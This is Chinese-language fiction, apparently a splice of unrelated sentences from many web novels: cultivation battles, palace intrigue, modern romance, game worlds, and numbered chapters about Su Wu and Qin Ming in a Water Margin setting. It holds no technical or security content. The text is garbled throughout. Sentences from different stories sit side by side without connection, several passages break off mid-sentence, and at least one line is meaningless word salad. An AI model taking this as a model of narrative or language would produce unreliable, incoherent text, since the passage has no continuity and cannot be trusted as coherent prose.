渊墨微眉梢微微动了动,他自然知道炼狱禁止人族进入,因为冰沉所言并不假,人族进入炼狱的的确确会引来炼狱动荡,即便是他,也不能只手遮天不顾整个炼狱的稳定。 祠堂内,香继续烧着,弥漫的白烟萦绕着,四周的灯火的昏黄的光亮显现了出来。 “猫头鹰”发出怪异的笑声,她把凿子抽了出来,在镜头前晃来晃去,好像在展示战利品一样。得意万分。 在清河市之中,鱼龙混杂,每个势力分占一块地盘,但是其中最有可能成为龙头的一个势力,就是这合安社。 这场面试即将成为岳氏集团史上最诡异的面试,有这位“程咬金”在,她们的野心还有机会达成吗? “不打了不打了,今天就这样吧。”飒沓风笑嘻嘻就要走,眼前一黑,只见我面无表情地站在他面前。 “这个,办法倒是有一个,只是这个办法对你来说,却会造成莫大的伤害,甚至有可能是致命伤害,而且不一定能成功,你还要尝试吗?”月神波澜不惊的道,她静待云晓的选择。 我失笑,府邸里面没有什么太大的规矩,也没人敢来捣乱,所以羽狐的姑娘们性子渐渐放开,变得活泼,整日做完自己分内的工作后,四处溜达也是常有的事情。原本守门的工作是男性羽狐要做的,怕是被换班休息去了吧。 第86章 我不是文盲! 这位师傅当即笑了起来,二话不说动了车子,一路上李寺看着车水马龙,也是不时看个两眼。 从不知道,这世间还有比接受重大任务还要热血沸腾的事情,还有比训练结束时还美好的感觉,从客厅到卧室,从清晨到黄昏。 突然出手的林天,让所有人心头一震,给人一股深不可测的感觉。 “联队长,院门外那些人任何答复?”高木弘智的问话打断了中川荣一的谋想。 士兵疑惑无比,只不过他没有想通这个问题的时间了。海通天猛地把剑一抽,顿时将生命力也一同抽出了士兵的身体。 只要他愿意的话,完全不会有任何的问题,因为他所拥有的实力可以说是恐怖到了极致。 语罢,林影强忍脑袋的疼痛感,重新提着阴阳冲了上去,左右开合之间,已经有了些许力不从心的感觉。 在没有成为皇后期间,纳兰绮晴也怀过两次身孕,都离奇流产了,尽管查不出原因,但君无悔和纳兰绮晴都明白,肯定和兰贵妃脱不了干系。 当肖啸伸出手开始为肖凌夹菜之时,便也算这午宴开始了!腹中饥饿,众人倒也是各吃各的,一开始,也并没有什么交流,良久,林影轻轻抿了一口清淡的鱼汤,看向禹浩。 因为负重过大,装甲车回来的时候,已经接近黄昏。恰与采购返程的老王头相遇。满载的车队浩浩荡荡的驶回基地后,大家早已围在篝火前吃着晚饭。 灵儿也同时看向齐阳。只见齐阳脸色发白,额头上还有些汗水,努力扯了扯嘴角对她露出一个微笑。 他知道,唐傲的生死,千手婆婆其实是很在乎的,但是千手婆婆绝对是不好意思问自己的,毕竟自己和唐傲互为仇敌,所以只能是自己主动开口将这事说出来。 “您不过是想让孩子铭记齐阳哥为他换血的恩情,私下里进行就好了。”灵儿说。 李浩带着陆云还有神棍刘他们登上流求海边的一座高山,望向无尽大海,虽然已是冬天,但这边仍旧很温暖,一阵海风拂过,吹扬起李浩的白衣黑发。 “我……当时忘了。或许我应该扮成一个和你一般年纪的老太婆?就说是你的……夫人?”灵儿话一出口,才反应过来自己说了什么,这下羞得连耳根都红了。 一些有灵智的熊猫还有些不太乐意和人类相处,绝对这些人类未必能信得过。 “所以你就让姑娘陪我一起去涉险?你知道我费了多大的心力才能勉强护她周全?”齐阳责怪道。 他走南闯北二十多年,见过不少的狠人,但还真没见过像沈默这样的狠人,两根手指头就能轻松掰断西瓜刀? 场边的穆里尼奥面沉如水,他的嘴唇甚至都已经看不到一丝血色。 全不凡轻轻摇头,就离开这里,世界上没有什么是完美的,单一的东西无法满足所有人。 连云城点点头,实际上在他被人袭击的那一刻,他才真正的明白了,这一劫早晚都逃不了。 而与此同时,那刚才被打的地方冒出血来,而那火堆正好烧到吟秋师太的伤口处,滋滋啦啦的发出怪响来。吟秋师太大叫了一声,倒了下去。 他是懒得给冲锋炮上子弹,直接让猪八戒将之前两个丢掉,换成了新的。 不知为何,一向十分凶残只有别人怕他的奎木狼,此刻心中竟然有了一丝震颤。 封林在洛雨的大腿上见过同样的纹身,只不过洛雨上面写着的是“七”字。 紧接着剑侠客就回到了玄彩蛾,巫蛮儿,舞天姬,鬼潇潇一行人之中,把他从那地脉之洞的黑漆漆的洞孔得知的消息告诉给了她们。 这种斜趴在树枝表面的人梯很不稳定,需要最下面的人力气够大,而且能够承受上面的人传下来的体重。若是不能承受而倒下来,那么上面的就会跟着摔下来,后果很是严重。所以最下面的责任最重大。 武当山造化神奇,一派道家鼎盛之势夺人耳目。走到山间的青石板路上,向上看去,令人不由的暗自惊叹。 它的伤不轻,不吃血食好的太慢,正好村民求神,它也就出手了。 因为艾米尔和机械兔子正在互相法术对锤,所以林艾现在不能问艾米尔这个很关键的问题,但是吧,林艾却可以看,然后用超强的记忆能力将她们的那个魔力轨迹记录下来。 十八罗汉一边缓缓向着被围起来的沈石逼近,一边也在打量着沈石带来的人。除了赵宗景外,跟来的五鼠,哪一个不是气血旺盛之辈。 毕竟元容也有元神境巅峰的修为,并不是寻常元神境能够超越的。 华夏现在还不会引起世嘉和任天堂的重视,但是如果李方诚胆敢露出一丝一毫的私自制作主机的行为,那么毫无疑问,绝对会迎接任天堂全力镇压还有世嘉的抛弃。 说归说,她的身材也没有那么差吧……不过,简禾还算知道自己现在处于弱势地位,万一把他惹火了,自己没穿衣服会很受牵制,故而敢怒不敢言,没有顶嘴。 此间的空气凝滞,却又好似漂浮满了火药因子,随时会噼里啪啦地点燃。 虽然没有击穿墙壁,可灵感瞬间施加的动力至少有数千斤。这点力量也就等若武术上三品,韩东自然不会在意。 眨眼之间,虚空就就崩溃成了无数宝石般的光粒,像是沙子一样聚拢在少将的掌心中。 第87章 此去,百死无悔! 再加上,其将天脉一剑修炼到中成,隐隐中,已有第三峰年轻一辈第一人的趋势,他受伤,无疑倍受各方关注。 花极天和他们合作,迅速击杀,仅仅几分钟时间,他们就击杀了三队,当他们击杀第四队的时候,第五队的智商型暗黑魔兽发现了不对,扭头就逃。 即便是并没有伤害他们,但是他们也是冲那自边缘散发出来近乎于天威一般的威势,便是知晓了这道灵阵的强大之处。 好。五位长老应了一声,随即给回其位,同时施法,缓解了压缩能量的需求,叶青这才停下五大本源之心的使用,开始布置大封印阵。 呵呵,天机不可泄露,该出手时我自然会出手。叶青无所谓的说道。 如果仅仅是因为我长着一张酷似他初恋的脸,他才对我动心。如果是这个理由,我现在更没必要理会他了。 他的语气有些激动,他绝对不会放弃的,有什么陌生人可以做?他们明明不是陌生人。 但是花极天看出来不对了,匿名只有四个字母,变态下体的第一个字母,也是补天系统的第一个字母。 此前,在神藏开启之际,妖族就有强者赶来,此人已是很强,曾祭出神通,打入神藏所在的那深崖之下,天摇地震。 这条黑蛟除了一身坚硬如钢铁的身躯外,其实力并没有多高,比那只白蛟略强一些,但都没有达到结丹一步。有内丹与结丹是两个概念。动物一旦到达先天之境就会出现内丹。 不远处传来“咯吱,咯吱”的响声,好像大树被拦腰折断了。隆格听到声响,马上跪地祷告了起来。 “停停!你别吵吵,你不是也一样,同样是个会说话的宠物。”翔夜说道。 周舟沉吟片刻,又凝视了乔楚晴的五色命运线,脑袋微不可查的一点。 一艘巨大的客轮停留在海与天相接的边缘,在夕阳中闪着夺目的光芒。 伯爵播通了一个电话,然后交给查理接听。查理只听到一个“叔叔”的称呼,马上便明白自己之前受人利用了。 虽说现在的他,银行卡里还有着两千多万的存款,但这点钱,对于一个修炼之人来说有个毛用? ‘鲍罗’被抓了一个现形,但他没有慌乱,而是收回双手,环臂抱胸,饶有兴致看着莫汉顿。 这胖老板一张胖乎乎的圆脸,怎么看都是一副人畜无害的模样,又是赔着笑脸说话,王浩明等人也就把自己的名字说了出来。 烟雨翻身在地衣上坐好,将手腕上的镯子取了下来,她不知宣绍究竟为何怀疑她,只知或许和这镯子有关,现下弄清楚这镯子是怎么回事,乃是当要之计。 别的不说,在八十年代初期的时候,“万元户”这三个字就是有钱人的代名词,众人羡慕的对象,可要是放到现在,满大街的人都是万元户。 思考了一段时间之后,白狼决定还是直接前往中央的大屋子,这里毕竟是别人的村庄,自己进来最好还是先跟这里的主人打个招呼,随便乱逛的探险虽然很有意思,不过被别人误会成入侵者就不好了。 赵显又被项少阳这句话给气到了,他上前一步,狠狠一脚踹在项少阳胸口,把这位陈王太子,再次踹翻在地。 佩狭锋刀的档头晚了一步,铁腿刚好踢出,却踢空了,陈远宏已经不在原地了。 “谁让你们追的那么紧!我也是没办法吗!再说,又不是我让你们跟进来的!”紫颜蟾蜍呱呱的传音说道。 赵显干脆利落的蹲在了花轿面前,把高雅儿背了起来,从侧门进了肃王府。 “摩天掌。”天地好似崩塌,诸多妖兽被这股强大的力量禁锢,巨大的手掌镇压下来,瞬间将数万妖兽直接镇杀。金狮子三妖兽立刻遁地逃走,可饶是如此,也身受重伤。 军中升职就是这样,如果一场恶战打完,某个幸运儿连升三级,那就说明此人所在的大营,几乎死绝了。 虽然在郑Z龙整合天朝民间海上势力之后,荷兰人在合作中的话语权变弱。 双方的Z治分割线,大体稳定在西起果阿邦,东至M加拉湾的克里希纳河一线。 宁夜伸出手去,将龙傲娇熟睡时蹬掉的被子盖好,然后就这样默默看着在星光下熟睡的面庞。 赵云以及大殿中的众位大臣听闻这声通报之声,心中都不由得疑惑起来,太后怎么的会来到大殿之上,还是在这个时候来? “因为回家以后我也毒发得很厉害。尽管我事先服用了甘草水,我吃的药丸里面掺了绿豆粉,但到家以后,我依然腹痛如绞,两眼昏花。凭着最后力气,我藏好玉龙,别的,我真的顾不上了。”宋开顺显然还心有余悸。 他也有些责怪薛云竟然这么放心大胆地原地打坐,难道他不害怕被打扰吗? 说道这里,赵云停顿下来,看了一眼大殿中的赵玄,等待着他的回答。 千机捧着镰刀亲了一遍又一遍,苍渊不再看着千机了,反倒坐下来,不知道在想什么。 在那两年,你怎么不能回个电话号码,就是可以在那里,不能只为自己的话,如果你是不可能的事情变成这样的情况,变得不能惹我,就不会跟他们正面对着这些东西就可以在完全没装修。 第88章 麻烦了! 苏武赴死去也! 书房门口之处,程万里心中担忧不已,兴许是担忧苏武其人,兴许更也是担忧自己刚刚投资的草创企业戛然而止。 书房外转角处,程小姐又走了出来,便也是一脸的凝重。 “父亲,似这般忠义的汉子,世间哪里还能寻得……” “只怕他当真一心立功去,不顾自身……”程万里此时多少有些 司空准被她的心声吸引,想知道她有什么猫腻儿,就跟着她过去了。 他朝窗外看了一眼,今日的天气就似他们的心情,蓝天白云不复存在,取而代之的是乌云密布,任谁都看得出来雷雨随时会到。 嘭嘭嘭的一连串震耳欲聋的声音响起,先前感觉无比可怕的漆黑刀光已然消失,虚空短暂的恢复了幽蓝色,然后就被圣洁无比的金色所笼罩。 叶子平内心大喜过望,俊俏的脸上满是笑容,同时心中发誓以后一定会孝顺师父。 除了险些被赵洁捏碎的心脏,他其实并没有怎么受伤,纯粹是透支过多灵气造成的虚弱。 除非运气好,否则他们有极大概率全死了都找不到那个正确格子。 那自己能坚持下去吗?又有这么多时间练吗?陆长风不禁在心里打起了鼓。等等,火师傅头发胡子眉毛全是红的,自己练久了会不会……不行,改日得找他问问,他那是遗传的还是练成这样子的? “是!”那弟子艰难地把头抬起来,可眼睛还是看向地上,仿佛眼前的是什么可怕之物,他不该看见一样。 突然,鸣人猛然睁开眼睛,双手一结印‘嘭’的一声,所有的影分身全部都消失了,只剩下了一个鸣人的本体,鸣人收回所有的影分身之后,再次闭上了眼睛,体会从从影分身那里传回来的经验。 当他的眼光停留在最后一个乘客身上时,口中正好念出了“不回去”三个字。不过他低头看了看自己,笑了。 或许,在自己生活着的这个国家,有着许多自己所不知道的秘密呢。 中国的明星没有韩国这些明星经历的苦,韩国的明星,每天都有许多的活动和行程。 三人缓缓向前而行,莫天也在暗暗寻找开溜的机会,如今他支身入虎穴,自然不敢随意惊动奥林匹斯的诸神,他可没有自大到凭自己还没有长全的身体对抗一整个奥林匹斯。 何止是怕?简直是恐惧到了极限。即便是你我这种在屏幕上见识过大爆炸的人,恐怕在亲身经历时也会吓得魂飞魄散,作为生活在数百年前辽国的萧云昭,其内心的滋味可想而知。 温暖的怀抱,温柔的抚摸,温情的细语,温馨的一幕……苏茹告诉自己,选择没有错。 可是一想到旁边唐雨灵就在隔壁睡觉,夏风就只能克制住自己的冲动了。 巨大的剑轮一接触到这股力量就开始减弱,好像时间倒退一般,或者说是在分解,被时间给吞噬,完全回到了原点。 祖城边缘的高墙之上,方卿微等人就这么静静的等待着,神色轻松。 同时脚上和手上都亮起了红白色的光芒,夏末秋也是拼了,运起了两个星窍的力量。 那面相丑陋的巫师感知到自己的丹田破碎,真气消散之后,顿时面如寒霜,可是他根本就不敢说一个字,因为他心中明白,以对方的手段,不要说废了自己的修为,就是杀了自己,也不是难事。 第89章 都监,追是不追? 怎么麻烦了? 因为秦明此战要败,秦明之所以有那诨号霹雳火,就是说的脾气秉性,凶猛,暴烈,刚直。 这山东河北地面,谁打过仗?秦明也不曾真的打过仗,只管脾气一来,引兵就去打。 宋江此时带着小李广花荣在清风山指挥作战,宋江是个读书人,心眼也多,与吴用不遑多让,坏心眼子一大堆。 只管 土墙外是大片裸露的山石和空地,坑坑洼洼的,甚至有好些个深坑。 “对。”容寻说要怀南王一条腿,可不是说假的,怀南王这辈子不是坐在轮椅上就是瘸着腿走路。 “既然大家都在的话,一起给我做个见证吧。”顾明烟慢条斯理拿出手机。 但叶淮序毕竟是靠着这档综艺走红,当初导演也是看在叶家的份上给了这个机会。 沐安冉闻言没有说话,只是握着利剑的手紧了紧,眼神又冰冷了几分。随时准备斩杀敌人。 后来无常大师见了这位顾姑娘,竟然万分惊讶,说她是‘得天地庇佑,聚运势于一身’之人,能命定乾坤,也能扭转乾坤,若是能与她的命势连成一脉,借了她的运势,他的运势将会增长,从而扭转乾坤。 现在他们家里的银子,大部分都是娘子赚的,他是不可能将娘子挣得钱给出去的。 我们现在只能以退为进,既然父皇已经决定要废了你了,那你就顺从他的意思,把后位让出来。 然而她却不知道,此时楼下的停车区里,一辆悍马正停在酒店门口。 另外那纯阳‘门’中穿着道袍的人十几人不断的‘交’叉徘徊着白衣人的身周,数度攻击都被年轻人的强烈攻势给挡了回去,一个修道界有名的阵法在这年轻人眼中恍若无物。 此时巨灵族人也恢复了人身,从后背拔出了果核刺棒,三人以四方族三元阵彼此相互配和着,一步步逼近白须道人。 瘦猴身负上古血脉,法身其实就是他血脉本体,因此他们根本不需要去在乎法身的破损。 在接近古堡的百米内,五人驾御着飞剑迎了出来,其中一人正是张凡遇到过的黑木。 金世才已经来不及惊讶,心疼地收起坏掉的指环,纵身向火山口掠去。却见火山口突然出现了一颗硕大的火球,不仅堵住了去路,而且直奔他砸去。金世才之后又撤回来,发现火蟒早已立起,直直地与他对视。 翡翠之光不断升华,最终颜色却仿佛返璞归真一般,变成了浅绿色,但其中蕴含的力量,却让人战栗。 “我们的埋伏就一定能赢吗,心鲁肯定也有所防备的。”龙明还是不太放心。 而就在凌宙天喊出那一句话的时候,他们都放下了枪,一个个很尴尬的看着凌宙天。 不过自己年岁已大,无力再插手众事,只能在一旁默默关注着。那时赫军仁大闹鲁神,任致远本无心出手干涉,但从鲁神城那里收到了训练营遭到毁坏的消息,这才起身赶往,却是耽误了时机,迟来了一步。 还未想清楚缘由,便听见一阵鬼哭狼嚎之声在这一望无际的戈壁滩上鬼魅响起。 实际上,如果她尽全力,李隆基连她两招也接不下!此时的她,就像在做一场游戏。 所有人都静了下来,扭过头瞅着手举五L发的毕三福,音响师也将音乐关掉,所有人的目光聚集在毕三福的身上。 第90章 你你你……不是好汉! 天色渐渐黑下,青州这边地势,山川较多,所以这里的贼寇,出得一窝又一窝。 多山,对于苏武来说也有好处,那就是便于隐藏,有杨志在侧,熟悉地形,稍稍往一处山坳里一藏,便是以逸待劳,也多休息。 他知道,宋江为赚秦明,便会派人假扮秦明与官军,到城外一处村镇烧杀抢掠、屠杀平民、放火烧屋。 苏武 至于众人的焦点将再缘在暴打一通后,就气喘吁吁的停止了,因为他发现不管自己怎么打都是无用之功。 雷战本来想用神龙局出手的,但是考虑再三之后,雷战还是决定把这个事情交给老刀来做,如果遇到什么阻力的话,雷战再亲自出马解决。 两天之后,月影在一片山脉起伏的地方停了下来,之后以在这里停下,却不是因为别的,而是在她运用勘宝诀的时候,发现了一块宝地。 反倒是何昊等人纷纷安慰起天生来,三位老师心里一样不好受,但看到天生难过落泪,也上前宽慰。 据传闻,此次万炎山上的绝学,谁若是能够得到手的话,那么自身的族人会进入到另一个层次。 “莫莫,慢点吃。”那泽无奈的摇摇头,端着盘子、拖着莫莫坐到饭桌旁,看着她顶着一头乱蓬蓬的头发,低头猛吃,连叹气的力气都没有了。 雷战线都没有想过,宇宙之中居然还有这么厉害的武器,想想当初才得到终结者,跟破坏者的时候,就认为已经是最好的武器了,可是现在看看,神点,元素炮等等超级武器,随便叫出一个,都是杀器。 剑光由聚而散,分化成道道细丝,缠绕在江遥身上。那时候,江遥几乎已经听到了利器刺中肉体的声音。 “给!”微微苦笑的摇了摇头,对于乱天的理解,林帆很深刻,这个家伙就是一个唯恐天下不乱的主,他可不管你有多少人,对于PK,乱天心中可是由衷的渴望,不管你来多少人,他都敢接下。 最近北冥家和阴煞谷两方势力不管青红皂白的随意滥杀,其实也是这些附属势力私下里的龌蹉行为,因为不管是北冥家还是阴煞谷,他们都招惹不起,所以只好是附属对附属,专门挑软的捏。 登上擂台后,一身黑色皮衣长发随风舞动的翁雅静静静的看着苏极天问道。 商议了许久之后,也没有什么好的决定,毕竟再好的办法,真正交手的时候,还是要看本身的实力的。 房中七倒八歪躺着一地身穿甲胄的侍卫,这些人都是二王子的手下。 “那真是太好了!”可是就在云昊满心欢喜的期待着穆海奎拒绝的时候,穆海奎却是高兴的一拍大腿,兴奋地说道。 众人大惊,这一次,他们才真正感受到了神器的力量,这是一种触及心灵的震撼。 念及此处,我不仅没有躲避之心,反而伸手把屏障给拉开了,就像动物宣誓领地主权一样简单粗暴。 张天生一眼就看到了这个入口,这真的是一种不负责任的态度,这种隐藏根本就经不住任何人的考验。 “主公!”而正当曹仁赶到城门之时,曹C与典韦也正好勒马而至。 可好人没领会到,他以为面具只是个标志,一个能力强大的团队标志。这个标志能让他撼动厉家兄弟的心,也可以给他很大帮助。 回到自己办公室,谭明当即让人把蓝非叫来,说是要跟这个学生谈话。 第91章 不救着实可惜 在路青霜等人的愣神之中,白九霄、龙入海、归青山等武修,踏地而起,身形掠过数丈广场空间,落在了石台之上。 “再等等,这锅鱼汤马上就要烧好了,你吃慢点,留着点肚子喝鱼汤。”张岩扬起头看向魏芍。 这怪物浑身雪白,身上没有穿任何衣甲,长得极为雄壮。重要的是,这怪物却长着一颗猪的脑袋,手里提着一柄满是尖刺的流星锤,模样可怖之极。 紫青仙君出手果然不同凡响,通天洲数百年的征战也总算是落寞了。 孙曼曼刚伸出来的手一下子就僵硬住了:自己的男朋友也只是一个经理而已,要是让俞鸿一下子签那么多名,人家能答应才怪呢。 吕顺等人听罢,一脸的颓然,他们还以为看到了玄燕活下来的希望,结果竟然只是孙明月很单纯的信任吗? 周壮以为这些人都是周游的朋友,也不好太过于冷漠,随口说道。 “菲菲,你今天怎么啦,”叶重说起话来,声音都变得有些不自然。 南慕谦眼睁睁的看着电话被切断,哀嚎一声,身子往椅背上一摊,靠过去。 翻身起床,叶重走进洗手间,解决了排泄问题,再洗漱了一番,腹部传来咕咕的响声。 遥望黑暗的大地,地平线上,开始出现了一只只暗虚生灵,那是一只只黑暗猿猴,每一个都如人一般直立行走,全身都散发着恐怖的能量波动,最重要的是数量,密密麻麻一大片,看着都让人头皮发麻。 “…”叶晨闻言,忍不住翻了一个白眼,传送阵那个低级的玩意,我用它干嘛? 玉倪犹豫了,有些事,是冰族的禁忌,不能拿出来乱说,旧事重提,只会让其他人看笑话。 二月时间一晃而过,中国大地处处春风,草木发芽,一直从江南蔓延到北方。然而,春天的到来,复苏了万物,也复苏了战争,河北各地再次掀起了战火连天的战乱洪流,大地满目疮痍,百姓民不聊生,处处白骨,景象凄惨。 游戏里面的人物更是如此,他们死了,就是真正的死亡了。不像云霆他们这些玩家,哪怕在游戏里面失去所有,也有从头再来的机会,现实的生活更不会因此有任何的改变。 一队手持一杆顶端带有长长的镰刀状兵刃的三百人队伍猛然冲了出来,夹在这枪兵中冲锋。带着血的盾兵再次挡在了最前方。 没有野心的人,一种是实现野心之后或者看透之后的无欲无求。还有一种,是彻底的庸才。 随着三辆装甲车冲了出来,后面越来越多的车子跟着冲了出来,从后面追了上来。 姜知云和姜鸣海都姓姜,又跟火极世界中的姜氏家族牵扯在一起,难道,彼此间有血脉联系? 而项昊来不及巩固大圣境界,现身在诸天界各地,将真相公之于众,并且聚合诸天界的圣境生灵,严阵以待。 “不是我打不开,是她打不开。”阵痴摊了摊手,随意坐下,端起面前茶水,抿了一口。 “回来了,沧云,我不怪你……回家了就好,你还是家中的主母。”叶守正嘶哑着声音道,轻轻握住了着这她的手,凝视着这张多少次午夜梦回时候的容颜。 苏锦瑟这一刻,迫切地希望自己恢复以前的记忆,自己太不孝了,竟然连自己妈妈都想不起來,她之前不知道吃了多少苦,自己却在这里过的心安理得。 听了叶宽的话,林向晚一时没有回答,老实说她是真的不想见香姨,但叶宽已经低三下四的来请她,如果还不答应的话,就太伤人心了。 一拳轰出,左臂之上罡气鼓鼓,一道青龙虚影显现在上,直取影子脸面。 感受到宋云那强大的气息,方家的三长老再不怀疑,宋云此时的修为不但达到了武皇境五星的层次,方家的三长老还能感觉到宋云的气息比一般武皇境五星的强者还要强上不少,这样的实力已经能够做到宋云刚才所说的一切。 此次纳兰雪姐妹前来无争山庄乃是因为纳兰霜霜年满十八岁,第一次出门游历。 宾客中。有人开始窃窃私语。穆李琛的身份。大家已经心知肚明。他这样出现。很多人都在等着看好戏。 有好几晚,苏锦瑟都在梦中惊醒,在也睡不着,差点窒息,毛毛自从发现她这个毛病之后,晚上两人挤在一张床上,陪着她,这才好了很多。 唐晋腾那话也明说了,是给的回报,大太太这次毕竟也向着他了。再来还是因为曾经那点儿事儿,是对唐惊涛的弥补。 而且,穿梭黑魂泉还有开启神魂的作用。如果是真的话,那就更是罕见的珍奇之物了。 短期内我们不考虑盈利,先争夺市场份额吧。”白云天轻松说道。 这也是不能靠自己满足供应,大量依赖外部输入物资的地区,物价会这么高的原因。 接过菜谱,礼貌地向林安安一让,潇洒地点几个菜。虽说是林安安请客,可作为男士,他懂得什么时候该当仁不让。 也正是因为这些,这套银针在御医院中存放了足足好几十年的时间,都没人使用。直到这次,由赵院长亲自提出来,作为奖品奖励给青年中医比试的冠军,这才将之拿了出来。 所以很多人哪怕是到了青云山,也很难在青云山上找到任何一个宗门,哪怕宗门在青云山上已经多如牛毛。 第92章 先有十万贯! 已然就要天明,一匹快马出现在苏武营门之处,还未靠近之时,已然被诸多游骑岗哨发现。 便也被众人围得个水泄不通,那马上的人只管来喊:“我是青州兵马统制秦明,快,快请见苏都监。” 不得多久,苏都监便也从睡梦中醒来,虽然只睡了两三个时辰,倒也神清气爽,洗了一把冷水脸,便先到中军大帐。 片刻 今天是舞会的第三天,也是舞会的最后一天,按照童话故事的发展,在这最后一天,灰姑娘会掉下一只水晶鞋,西蒙王子正是用这只水晶鞋找到了灰姑娘,惩罚了她的继母和两个姐姐,从此幸福的生活在了一起。 「翻」在半路上,至少人员上不会有什么伤亡,翻完船立马回领地,也不会耽误领地发展。 而龟宝被少主追杀过两次,也算是熟人了,如今这一次一定不会让他逃脱,随即少主也显露出身形,却是一位脸色白皙,身材修长,风度翩翩的精美黑袍男子。 见此,孔宣冷哼一声,言道:“道友想与贫道做过一场不成!”随着话音一落,周身隐有先天五行五色神光溢出,一道道无上神威暗与天地大道相合。 熊猫有着许多让人诟病的问题,但只要训练好了,作为坐骑是完爆战马的。最重要的是,如果有机会开启【中山经崃山秘境】,得到食铁兽精血,这些憨憨就能轻松进化。 北海鲲鹏宫之上,阴阳老祖双目清明,似有所悟,周身先天阴阳神光闪耀,一动不动,元龙、玄龟、鲲鹏、烛龙四人分立两旁,面带丝丝笑意望着洪荒大地。 他虽然精通魔法,但明显不能做到预言。所以此刻虽然内心非常的不安,可未来会发生什么事情,他还是没办法知道的,只能提高自己的警惕心。 如此圣地,也只有圣人、天尊道场可见,只是未曾想到,灵火岛中竟有如此之多的仙根灵植,若将此事传扬出去,只怕一般修士难以相信,定以为自己是在胡言乱语。 身旁的手下听到妖圣的命令,大声应诺,迅速的站在了他们周围,将两人保护在中间。 像是灭门这种事,在木叶可能很少见,可是到了其他的地方,几乎每天都在发生。不然那些大蛇丸领养的孩子是哪里来的? 他跟我说话的时候,一直是笑呵呵的,不知不觉的,我也有点被他的情绪给感染到了。仔细想想他说的话,好像也在理,在不知不觉中,我就拥有了很多一直以来我都没有在意的东西。 “我……一直试着去相信身边的人,可是一朝被蛇咬十年怕井绳。我努力过,但是很多时候,心不由己。我也想过,很多事都是双方面的,一个巴掌拍不响。然则我就是过不了心里那一关。”她敛去眸中月华,面色微冷。 下一刻,萧然一手拍开乔老的手,“我敬您是长辈,但凡事要有个度。这是我萧家的事,与姓乔的有什么关系?”他这分明是迁怒,心底的苦太多,眼底的恨太炙,却是无处可发泄,无人可倾诉。 话落,他便凭空消失在空气中,连个询问的机会都沒有留给紫玉。 会所还是老样子,一切都没变,会客室也是一样。虽说是冬天,地面上的植物仍然长的非常茂盛,这是从热带移植过来的花卉,光这些花花草草的,就用了几百万。 第93章 我当亲自去先登! 大军开拔,往官道先去刘高黄信驻守的清风寨,从那里有三条路,一条便往桃花山。 开拔之前,倒也就把燕顺放去了,放燕顺,主要是为了在宋江心中种下一个念想,那就是让宋江心中以为,苏武这人,也讲江湖道义,便是许多事,可谈。 这是为了往后之事铺垫。 城头之上,慕容彦达已然在看,看得苏武大军当真 但实际上,中情局副局长并不想为他的总统去检讨执政的方针和政策,他有自己的工作要操心。而且在他看来,他的工作要比总统的有意义得多。 几的提醒更让他认识到这是真正不容留情的战斗,杀人与被杀的战斗。 拳头应该打不死人吧!那个新人同样是一拳回敬高守,速度丝毫不差。 朱林宗怒火填胸,也不搭话,左手锤起,邵万强本能地一挡,开山钺飞出八丈远。右手锤又到,连人带马砸了下去,马还伸了伸腿,人连翻白眼的功夫都没有了。 我拎着菜和汤高高兴兴地上路了,我想爹爹看到我一定很开心的。可是在公司的前台我却被拦住了。 “多少钱?要知道我的钱,可是要养老婆的,你千万不要太狠了!”傲天提醒的说道。 “你以后真的不再来找我了吗?”童璟咬着嘴,再心疼柏洋还是要问到最现实的问题。 现在近距离看到的疾炫流的全貌,的确异常美丽,那是一种令人觉得异常恐怖的美丽。 未及三合,黑脸丑鬼“扑嗵”一声从马上跌下,狼牙棒摔出八丈开外。丑鬼从地下爬起来时,恰恰没了两颗獠牙,面容较前从容了许多,不似开头那样狰狞了。 那双碧蓝色的眼睛又让自己想起什么。很像。那一刻突然间让自己很惶恐。偏过头不敢再去看童璟。打开计程车的车门将童璟隔离在外。 秦君心神一动,英布身影已经置身于九江王城内,环顾四周,却不见秦君的踪迹。 不知道为什么,老孙感觉自己在听到“安佳其”三个字的时候,心里微微一怔。为何为有这种感觉,老孙不太清楚。 其实这倒不是他夸张,而是高家从来没有这么做过,之前那除了咸味没有什么味道的土豆丝,让高爸没有胃口,换了酸辣土豆丝,这浓烈的味道就一下把人的味蕾打开了,而且是种他从没吃过的味道,自然吃得满意。 听到‘阿诺’这个名字,那名随从面色也是浮现出畏惧,然后应了一声离开了。 这尊金佛本是解乘风家的祖传之宝,后来,利欲熏心的解乘风为了巴结上官,进而谋得一官半职,竟不惜将此物白白地奉送给朱靖祺。 “老师 老师,您怎么样了。”木子哭嚎着喊着云浮,劫后再生液不停的倒在虚淡的老者身影上。 精装修的房子,不曾住过人,之前刚有保洁彻底地打扫了一次,明亮、空荡,室内连一件家具都没有,却因为暖黄的灯光笼罩,显得温馨至极,江沅的目光透过洁净的落地窗看了出去,外面夜景漆黑,看不真切。 听闻此话,于景熙是一头雾水。很显然,这是有人恶意栽赃陷害于他。 想不绝望也没办法,能量耗尽的残破身体,如同朽木,短时间没有能力枯木逢春。只能眼睁睁的看着自己,被拍成肉泥。确切的说是感受到自己,被拍成肉泥。 如果这不是演习,而是货真价实的人质营救战,就算燕破岳成功把这些专家救回后方,智商极高情商白痴的专家们,也绝不会承他的情记他的好。 第94章 都监威武!将军威武! 上得寨墙的苏武,已然迎面劈倒一人,便是不知多少长枪朝他捅刺而来。 只听得他左手简易的木盾被捅得咔嚓作响,好似马上就要解体了一般,身上甲胄更是火花四溅,浑身到处都是疼痛不已。 此时身后一声大呼:“洒家来也!” 一柄长刀先到,苏武眼前,先看到不知多少长枪木杆当场断裂。 再看眼前, 这些人之前都属于三江武馆,虽然不少人习武数年甚至十几年,但实际上根本没有什么战斗经验。 相比而言,门派中的古武修炼者,实力更强,同时也能获得更为丰富的修炼资源。 许彦杰说完就忍不住了,他把苏傲雪放在了沙发上,旋即开始宽衣解带。 鲁大山此时似乎才意识到这里的情况,他也是转身看向了黄家众人。 洛月灵瞅了一眼林风,显然不相信林风的话,而且从她的目光当中,她似乎猜出来林风想要干什么去。 而且秦逸身上的灵力十分充沛,一点也不像刚刚经历了一场大战的样子。 风冰雪是其中最年轻的那一批,因为才刚成年不久,除了龙辰,千灵韵和杨婉君之外,剩下的六人分别在世界各处带领镇压。 是指甲的划痕,算不上很严重,他抬头一扫,她脖子上还落了掐痕,红红的一片。 当然,跟徐洪硕搞好关系,也就意味着,要好好帮助对方打压秦风。 这几个娃娃毕竟是从宁雪陌手里拿出来的,所以他这么辩解倒也有一定的道理。 “禀尊上,还没有!不知何人引发了雷霆,那被镇压的雷烁貌似有醒来的迹象,狱帅都前往地底,试图再次封印雷烁,地面上只有狱将在,有些捉襟见肘。”有人回禀道。 